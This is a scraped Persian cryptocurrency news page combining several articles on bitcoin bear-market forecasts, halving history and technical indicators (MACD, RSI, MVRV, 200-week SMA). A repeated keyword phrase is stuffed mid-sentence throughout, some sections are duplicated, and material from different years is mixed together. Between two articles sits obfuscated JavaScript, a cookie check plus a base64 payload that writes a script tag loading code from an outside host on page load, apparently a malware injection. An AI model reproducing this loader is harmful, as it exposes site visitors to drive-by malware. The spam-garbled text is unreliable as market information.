بازار نزولی بیت کوین تا این تاریخ ادامه دارد
گزارش گری اسکیل: بازار خرسی ممکن است تا ۸ ماه روند نزولی بیت کوین دوباره شروع شد دیگر ادامه داشته باشد.
روز دوشنبه قیمت بیت کوین سطح ۲۲٬۰۰۰ دلار را پشت سر گذاشت و گمانی‌زنی‌ها در مورد تحقق یافتن کف قیمت را قوت بخشید. در همین حال صندوق سرمایه‌گذاری گری اسکیل گزارشی در مورد ادامه بازار نزولی بیت کوین منتشر کرده است که احتمال ادامه یافتن روند نزولی تا حدود ۸ ماه آینده را روند نزولی بیت کوین دوباره شروع شد مطرح می‌کند.
گزارش گری اسکیل به این نکته اشاره دارد که بازار رمزارزها نیز مانند سایر بازارهای مالی در چرخه‌های مختلف زمانی جریان دارد که به‌طور متوسط، حدود چهار سال طول می‌کشند. این گزارش ملاک تشخیص کف قیمت را ارزش تحقق یافته بیت کوین می‌داند. ارزش تحقق یافته بیت کوین، مجموع قیمت تمام بیت کوین‌ها در زمان خرید آنها تقسیم بر تعداد بیت کوین‌های در گردش است که در واقع می‌توان آن را معادل مارکت کپ تحقق یافته بیت کوین تقسیم بر تعداد کوین‌های در گردش دانست.
گزارش Grayscale نشان می‌دهد ارزش تحقق یافته بیت کوین در ۱۳ ژوئن به بالای قیمت بیت کوین در بازار رسیده است که نشان‌دهنده شروع بازار نزولی است. همچنین پیش‌بینی می‌کند بازار نزولی تا هشت ماه دیگر ادامه یابد:
۱۳ ژوئن (۲۳ خرداد)، ارزش تحقق یافته بیت کوین از قیمت بازار بیشتر شد و نشان داد که ممکن است رسما وارد بازار نزولی شده باشیم. فعلا فقط ۲۱ روز از این اتفاق (بیشتر شدن ارزش تحقق یافته از قیمت بازار) گذشته است و احتمالا ۲۵۰ روز دیگر نیز ادامه داشته باشد و فرصت‌های خرید با ارزشی را در مقایسه با دوره‌های قبلی مشاهده کنیم.
گزارش گری اسکیل نشان می‌دهد احتمال دارد چرخه فعلی که در سال ۲۰۲۰ (۱۳۹۹) آغاز شد، بعد از چهار ماه صعودی شود که در آن زمان باید ارزش تحقق یافته بیت کوین دوباره از قیمت بازار بیشتر شود. شاید این موضوع به تشخیص زمان پایان بازار نزولی کمک کند. ۲۲۲ روز از زمانی که قیمت BTC رکورد تاریخ خود را شکست می‌گذرد و ممکن است ۵ الی ۶ ماه دیگر شاهد یک رکورد جدید برای بیت کوین باشیم.
جالب اینجاست که حرکت بیت کوین در سطوح بالای قیمتی خود در سال گذشته طولانی‌تر از چرخه‌های قبلی بود. Grayscale می‌گوید این اتفاق به دلیل بلوغ فزاینده بازار رمزارزها رخ داد. بیتکوین با قیمت ۲۲٬۲۱۸ دلار معامله می‌شود و در ۲۴ ساعت گذشته بیش از ۴٪ افزایش یافته است. قیمت هفتگی بیت کوین نیز حدود ۸٪ افزایش را نشان می‌دهد.
ضعف در روند صعودی بیت کوین و احتمال ریزش دوباره!
بیتکوین در طول یک ماه اخیر در محدوده رنج قرار داشته است. نمودار در محدوده الگوی کانال صعودی تا سطح قیمت 25 هزار دلار صعود کرد. اما پس از لمس چند باره خط بالایی الگو با ضعف در روند مواجه شد. قیمت پس از برخورد با خط زیرین الگوی کانال صعودی و نوسان در این محدوده، نشان از عدم توان کافی برای حمایت از بیتکوین داشت. با شکست رو به پایین کانال، قیمت ریزش دیگری را تا سطح 18500 دلار تجربه کرد. اما در این ناحیه حمایت شد و توانست میزان زیادی از ریزش خود را جبران کند. در حال حاضر پس از یک روند صعودی کوتاه، به نظر می‌رسد بار دیگر ضعف در روند بیتکوین محتمل باشد. همانطور که در تصویر می‌بینید، به نظر می‌رسد صعود اخیر بیتکوین یک اصلاح قیمت در روند نزولی آغاز شده از هفته پیش است. بنابراین، پیش‌بینی ما این است که قیمت نزول بیشتری را تجربه کرده و بار دیگر به محدوده 18 هزار دلار باز خواهد گشت.
دیدگاه خود را ثبت کنید
باسلام دیدگاه بنده مثبت هستش در صورتیکه همه چی عالی باشه هیچ خلالی داخل شبکه نباشه باسپاس احترام ( داریوش عبدالعظیمی )
آغاز بازار گاوی بیت کوین ؛ اما قیمت این ارز دیجیتال به ۱۰۰٫۰۰۰ نخواهد رسید!
با نگاهی به نمودارهای زیر به بررسی این موضوع می پردازیم.
نمودار عملکرد روزانه بازار ارزهای دیجیتال. منبع: Coin360.com
نمودار ماهانه بیت کوین / دلار. منبع: TradingView
در تحلیل های گذشته عنوان شد بزرگ ترین نگرانی، ماهیت نزولی نمودار ماهانه است. در آن زمان، اندیکاتور MACD بر روی اولین کندل قرمز هیستوگرام MACD قرار روند نزولی بیت کوین دوباره شروع شد داشت، هر چند سایر بازه های زمانی مهم نظیر بازه های زمانی روزانه و هفتگی به نظر صعودی بودند.
علیرغم این نگرانی ها، عنوان شد که اگر قیمت بیت کوین تقریبا ۲ الی ۳ هفته بالاتر از سطح ۸،۵۰۰ دلار باقی بماند، بازار صعودی از راه می رسد، زیرا این موضوع شرایط نمودارها را تغییر خواهد داد.
اکنون که تقریبا سه هفته از آن زمان می گذرد به نظر می رسد که سرمایه گذاران بیشتر هیجان زده شده اند تا اینکه ناامید باشند. ماه جاری تازه شروع شده و با ایجاد کندل کاملا صعودی که نمودارهای بیت کوین را از حالت “صعودی با احتمال تبدیل شدن به نزولی” به “کاملا صعودی” تبدیل کرده است، همزمان شده است. این موضوع با تغییر قابل توجه احساسات موجود در شبکه های اجتماعی همراه بوده است.
بنابراین آیا می توان عنوان کرد که این روند، همان روند صعودی است که منتظر آن بودیم یا نکته ای بی اهمیت است که مسئول روند اخیر می باشد؟
سختی استخراج بیت کوین افزایش می یابد
نمودار سختی استخراج بیت کوین. منبع: www.btc.com
در تاریخ ۱۴ ژانویه قیمت بیت کوین از ۸،۱۴۰ به ۸،۸۷۹ دلار افزایش پیدا کرد که این امر، حاکی از افزایش قیمت روزانه تقریبا ۸٫۵ درصدی بود. در همان روز، سختی استخراج بیت کوین تا ۷٫۰۸ درصد افزایش یافت و به نظر می رسد که این الگوی ثابتی از ابتدای سال ۲۰۲۰ تاکنون بوده است.
در تاریخ ۱ ژانویه قیمت بیت کوین تقریبا ۷٫۲۰۰ دلار بود و در همان روز سختی استخراج نیز ۶٫۵۷ درصد افزایش یافت. اگرچه تغییر آنی در قیمت بیت کوین به وجود نیامد، اما ۵ روز بعد قیمت این ارز دیجیتال ۷ درصد افزایش یافت و تا ۹ روز بعد یعنی در تاریخ ۱۴ ژانویه با ۸٫۵ درصد افزایش به ثبات رسید.
این شرایط تا تاریخ ۲۸ ژانویه ادامه داشت تا اینکه سختی ماینینگ ۴٫۶۷ درصد افزایش یافت و باعث جهش قیمت بیت کوین از ۸٫۹۰۰ دلار به ۹،۳۵۰ دلار شد که باز هم می توان گفت افزایش قیمت با افزایش سختی استخراج برابر بوده است.
در حال حاضر کمتر از یک هفته تا افزایش سختی ۴٫۴۶ درصدی آتی زمان باقی است. آیا این موضوع بدان معنی است که بیت کوین ۵ درصد دیگری نیز افزایش قیمت خواهد داشت و ما را به قیمت ۱۰،۰۰۰ دلار نزدیک تر خواهد کرد؟ اگر چنین است، آیا این معیار می تواند چشم اندازی از قیمت بیت کوین طی رویداد نصف شدن پاداش استخراج آتی به ما بدهد؟
اندیکاتور MACD هفتگی وارد مرحله صعودی می شود
نمودار ماهانه بیت کوین / دلار. منبع: TradingView
اندیکاتور MACD هفتگی همواره خود را به عنوان یک اندیکاتور خرید و فروش دقیق برای بیت کوین ثابت کرده است. مرحله صعودی قبلی در تاریخ ۱۱ فوریه ۲۰۱۹ آغاز شد، هنگامی که قیمت بیت کوین فقط ۳۶۹۵ دلار بود.
این مرحله ۲۸ هفته به طول انجامید و شاهد بودیم که بیت کوین در یک دوره ۲۰ هفته ای به ۱۳۸۰۰ دلار افزایش یافت، سپس روند نزولی در تاریخ ۱۹ آگوست شروع شد.
تا هاوینگ بیت کوین فقط ۱۴ هفته باقی مانده است و کسی نمی داند که چه شرایطی پیش خواهد آمد. این افزایش قیمت فقط نیمی از فاز صعودی در اندیکاتور MACD بود، بنابر این قیمت بیت کوین تا چه میزان افزایش خواد یافت؟
انتظارات واقع گرایانه
نمودار هفتگی بیت کین / دلار. منبع: TradingView
در حال حاضر، اطلاعات اشتباه بسیاری زیادی وجود دارد. کوین تلگراف نیز گزارش داد که برخی از کاربران ارزهای دیجیتال در یوتیوب پیش بینی کرده اند که قیمت بیت کوین در سال ۲۰۲۰ به ۱۰۰٫۰۰۰ دلار خواهد رسید.
به نظر ما چنین پیش شرم هایی خجالت آور و غیرواقعی هستند، زیرا طبق تجربه می توان گفت که قیمت بیت کوین ۶ ماه الی یک سال پس از هاوینگ با افزایش چشمگیر روبرو نمی شود.
در ماه نوامبر سال ۲۰۱۲، هنگامی که اولین هاوینگ بیت کوین رخ داد، قیمت این ارز دیجیتال ۱۰ دلار معامله می شد. و قیمت بیت کوین تا ماه مارس ۲۰۱۳ افزایش نیافت و سپس به ۳۰ دلار رسید.
با این حال، این اولین بار نبود که بیت کوین به ۳۰ دلار رسید. بیت کوین در واقع در بازار خرسی دو ساله ای قبل از هاوینگ قرار داشت و قبل از آن در ماه ژوئن سال ۲۰۱۱ قیمت آن به ۳۱ دلار رسیده بود.
بعد از اینکه بیت کوین دوباره به ۳۰ دلار رسید، قیمت آن به شکلی پارابولیک افزایش یافت. در آوریل سال ۲۰۱۳ قیمت بیت کوین قبل از بازگشت به کانال ۱۳۰ دلاری به ۲۶۹ دلار رسید تا اینکه در اواخر ماه اکتبر ۲۰۱۳ با رشد فوق روند نزولی بیت کوین دوباره شروع شد العاده ای مواجه شد و تا ماه نوامبر به ۱٫۱۷۶ دلار افزایش یافت. هرچند افزایش قیمت تقریبا ۱۲ ماه پس از هاوینگ رخ داد.
آخرین هاوینگ در ماه جولای ۲۰۱۶ رخ داد و پس از این هاوینگ نیز افزایش قیمت چشمگیری را شاهد نبودیم. در زمان هاوینگ، قیمت بیت کوین حدود ۶۵۰ دلار و ۴۵ درصد کمتر روند نزولی بیت کوین دوباره شروع شد از رکورد قیمت آن زمان بود. قیمت این ارز دیجیتال تا دسامبر سال ۲۰۱۶ حدود ۱۰ درصد افزایش یافت اما تا ماه مارس سال ۲۰۱۷ یعنی ۱۰ ماه پس از هاوینگ، از رکورد قیمت آن زمان بالاتر نرفت.
با توجه به این نکته، چقدر احتمال دارد که بیت کوین حتی بتواند در سال ۲۰۲۰ رکورد قیمت ۲۰٫۰۰۰ دلار را بدست آورد، به همین ترتیب انتظار می رود که رشد پایداری در سال ۲۰۲۰ شاهد باشیم و احتمالاً یک افزایش قیمت تصاعدی در سال ۲۰۲۱ انجام شود.
هفته پیش رو
نمودار هفتگی بیت کوین / دلار. منبع: TradingView
سناریوی صعودی
سطح مقاومتی شدیدی در قیمت ۹،۵۰۰ دلار وجود دارد و به نظر می رسد که این قیمت طی ۹ ماه گذشته مرتبا بین سطح مقاومتی و حمایتی جا به جا شده است. با وجود افزایش سختی استخراج در هفته آینده، انتظار می رود که بیت کوین از این سطح قیمت عبور کند و به سطح مقاومتی نزدیک به ۱۰٫۰۰۰ دلار نزدیک شود. اگر بیت کوین از این سطح مقاومتی نیز عبور کند، سطح بعدی بر روی ۱۰،۴۰ دلار قرار خواهد داشت.
سناریوی نزولی
این هفته همه چیز صعودی به نظر می رسد، بنابراین معامله گران باید نگران باشند؟ در حال حاضر، سطح حمایتی بر روی ۹،۱۵۰و ۹،۰۰۰دلار قرار دارد، اما شایان ذکر است که بیت کوین طی چند هفته گذشته یک روند صعودی قوی داشته است، بنابراین انتظار می رود که قیمت این روند نزولی بیت کوین دوباره شروع شد ارز دیجیتال کاهش یابد. اگر قیمت از ۸،۶۰۰ دلار عبور کند، این امر نگران کننده است.
function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?روند نزولی بیت کوین دوباره شروع شد decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)
۵ نشانه تشخیص پایان روند نزولی یا خرسی بازار
مدتی است که بازار ارزهای دیجیتال در روند نزولی قرار دارد. در این مقاله قصد داریم ۵ شاخص را معرفی کنیم که معامله‌گران می‌توانند از آنها استفاده کنند تا سیگنال‌های پایان دوره نزولی را دریافت کنند. در چند روز گذشته قیمت بیتکوین (BTC) به پایین‌ترین سطحی رسیده است که حتی بدبین‌ترین افراد هم انتظار نداشتند. برخی از سرمایه‌گذاران احتمالاً متعجب هستند که چگونه بیت کوین از این ریزش قیمت بازمی‌گردد.
قیمت‌ها هر روز کاهش می‌یابند و این سوال در ذهن همه وجود دارد که بازار نزولی تا کی ادامه خواهد داشت؟ در حالی که پیش‌بینی زمان پایان بازار نزولی غیرممکن است، مطالعه روندهای نزولی قبلی، مسیر را برای فهمیدن زمان پایان یافتن این فاز فراهم می‌کند.
شروع بهبود صنعت ارزهای دیجیتال
یکی از نشانه‌های کلاسیک خرسی بودن بازار ارزهای دیجیتال، اخراج گسترده کارکنان در سراسر اکوسیستم رمزنگاری است زیرا شرکت‌ها به دنبال کاهش هزینه‌ها برای زنده ماندن در شرایط سخت هستند. سرفصل‌های اخبار در طول سال‌های ۲۰۱۸ و ۲۰۱۹ مملو از اعلامیه‌های اخراج از سوی بازیگران بزرگ این صنعت، از جمله شرکت‌های فناوری مانند ConsenSys و Bitmain و همچنین صرافی‌های ارزهای دیجیتال مانند Huobi و Coinfloor بود.
اخراج‌های اخیر از جمله کاهش ۱۸ درصدی کارکنان کوین بیس و کاهش ۱۰ درصدی جمینی (Gemini ) نگران کننده است. با توجه به اینکه بازار نزولی فعلی به تازگی آغاز شده است، این اخراج‌ها احتمالاً به زودی به اوج خود می‌رسند. احتمالاً خیلی زود است که به این معیار به عنوان مدرکی مبنی بر اینکه بازار نزولی در حال اتمام است اشاره کنیم. نشانه خوبی برای نزدیک شدن بهار ارزهای دیجیتال زمانی است که شرکت‌ها دوباره شروع به استخدام می‌کنند و پروژه‌های جدید با اعلامیه‌های بودجه قابل توجه راه‌اندازی می‌شوند. اینها نشانه‌هایی است که نشان می‌دهد سرمایه‌ها شروع به روند نزولی بیت کوین دوباره شروع شد بازگشت به اکوسیستم کرده‌اند و بازار نزولی رو به اتمام است.
تبدیل شدن میانگین متحرک ساده ۲۰۰ هفته‌ای بیت کوین به مقاومت یا حمایت
یک شاخص تحلیل تکنیکال که چندین بار در تاریخ بیتکوین نشان‌دهنده پایان یک دوره نزولی بوده است، زمانی است که قیمت به زیر میانگین متحرک ساده ۲۰۰ هفته‌ای (SMA) می‌رسد و سپس به بالای آن صعود می‌کند. در نمودار زیر، مناطقی که با فلش‌های بنفش نشان داده شده است، مواردی در گذشته است که قیمت بیت کوین به زیر SMA 200 هفته‌ای (خط آبی روشن) رسید و پس از آن به بالای آن بازگشت.
بازگشت قیمت بیت کوین به بالاتر از قیمت واقعی، که با خط سبز در نمودار نشان داده شده است، همچنین می‌تواند تاییدیه‌ای باشد که روند بازار نیز ممکن است مثبت شود.
قرار گرفتن RSI در پایین ترین سطح
یکی دیگر از شاخص‌های تکنیکالی که می‌تواند بینشی در مورد اینکه چه زمانی ممکن است پایان بازار نزولی باشد، شاخص قدرت نسبی (RSI) است. به طور خاص، بازارهای نزولی قبلی شاهد افت RSI بیت کوین در قلمرو فروش بیش از حد بوده است. تقریباً زمانی که این شاخص به پایین‌ترین سطح خود در حدود ۱۶ سقوط کرد، بازار برگشت. بر اساس دو موردی که در شکل زیر با دایره‌های نارنجی مشخص شده است، تأیید می‌شود که قیمت در پایین‌ترین سطح خود است. زمانی که RSI به بالای ۷۰ برود و به محدوده اشباع خرید برسد، نشان می‌دهد که افزایش تقاضا بار دیگر به بازار بازگشته است.
نسبت ارزش بازار به ارزش واقعی
نسبت ارزش بازار به ارزش واقعی (MVRV) معیاری است که برای شناسایی دوره‌هایی طراحی شده است که بیت کوین نسبت به ارزش واقعی خود، بسیار بیشتر یا کمتر ارزش‌گذاری شده باشد. خط آبی در نمودار زیر نشان‌دهنده ارزش فعلی بازار است. برای بیتکوین، خط نارنجی نشان‌دهنده قیمت واقعی و خط قرمز نشان‌دهنده امتیاز Z است که یک آزمون انحراف استاندارد است که حداکثرها را در داده‌های مربوط به ارزش بازار و ارزش تحقق یافته نشان می‌دهد.
همانطور که در نمودار مشاهده می‌شود، بازارهای نزولی قبلی امتیاز Z زیر ۰.۱ داشتند که با کادر سبز رنگ در پایین مشخص شده است. شروع یک روند صعودی جدید تایید نمی‌شود تا زمانی که این معیار به بالای نمره ۰.۱ صعود کند. بر اساس عملکردهای تاریخی، این معیار نشان می‌دهد که هنوز روند نزولی بیشتری برای بیتکوین وجود خواهد داشت، به دنبال آن هم یک دوره طولانی از اقدامات جانبی قیمت وجود دارد.
ضریب میانگین متحرک ۲ ساله
معیار نهایی‌ای که می‌تواند راهی ساده برای سرمایه گذاران بیت کوین ارائه دهد تا بدانند چه زمانی بازار نزولی به پایان می‌رسد، ضریب میانگین متحرک ۲ ساله روند نزولی بیت کوین دوباره شروع شد است. این معیار میانگین متحرک ۲ ساله و ۵ برابر میانگین متحرک ۲ ساله (MA) را با قیمت بیت کوین دنبال می‌کند.
هر زمان که قیمت BTC به کمتر از MA 2 ساله رسید، بازار وارد قلمرو بازار نزولی شد. هنگامی که قیمت به بالاتر از میانگین متحرک ۲ ساله صعود کرد، یک روند صعودی در پی خواهد داشت. از طرف دیگر، صعود قیمت به بالای خط ضریب میانگین متحرک ۲ ساله، نشان دهنده یک بازار صعودی کامل است و زمان مناسبی برای کسب سود را ارائه می‌دهد.
معامله‌گران می‌توانند از این معیار همانطور که در مناطق با سایه سبز مشخص شده است به عنوان سیگنالی برای زمان مناسب برای انباشت استفاده کنند. به خاطر داشته باشید که هیچ اندیکاتوری بی نقص نیست و همیشه خطر نزول بیشتر وجود دارد.
نکته : توجه داشته باشید این مقاله صرفا با هدف راهنمایی و آشنایی شما با ۵ اندیکاتور برای تشخیص پایان روند بازار نزولی نوشته شده است و آکادمی ارز تودی مسئولیتی در مقابل تصمیمات یا عواقب مالی آن برای افراد ندارد.
ضعف در روند صعودی بیت کوین و احتمال ریزش دوباره!
بیتکوین در طول یک ماه اخیر در محدوده رنج قرار داشته است. نمودار در محدوده الگوی کانال صعودی تا سطح قیمت 25 هزار دلار صعود کرد. اما پس از لمس چند باره خط بالایی الگو با ضعف در روند مواجه شد. قیمت پس از برخورد با خط زیرین الگوی کانال صعودی و نوسان در این محدوده، نشان از عدم توان کافی برای حمایت از بیتکوین داشت. با شکست رو به پایین کانال، قیمت ریزش دیگری را تا سطح 18500 دلار تجربه کرد. اما در این ناحیه حمایت شد و توانست میزان زیادی از ریزش خود را جبران کند. در حال حاضر پس از یک روند صعودی کوتاه، به نظر می‌رسد بار دیگر ضعف در روند بیتکوین محتمل باشد. همانطور که در تصویر می‌بینید، به نظر می‌رسد صعود اخیر بیتکوین یک اصلاح قیمت در روند نزولی آغاز شده از هفته پیش است. بنابراین، پیش‌بینی ما این است که قیمت نزول بیشتری را تجربه کرده و بار دیگر به محدوده 18 هزار دلار باز خواهد گشت.
دیدگاه خود را ثبت کنید
باسلام دیدگاه بنده مثبت هستش در صورتیکه همه چی عالی باشه هیچ خلالی داخل شبکه نباشه باسپاس احترام ( داریوش عبدالعظیمی )
دیدگاه شما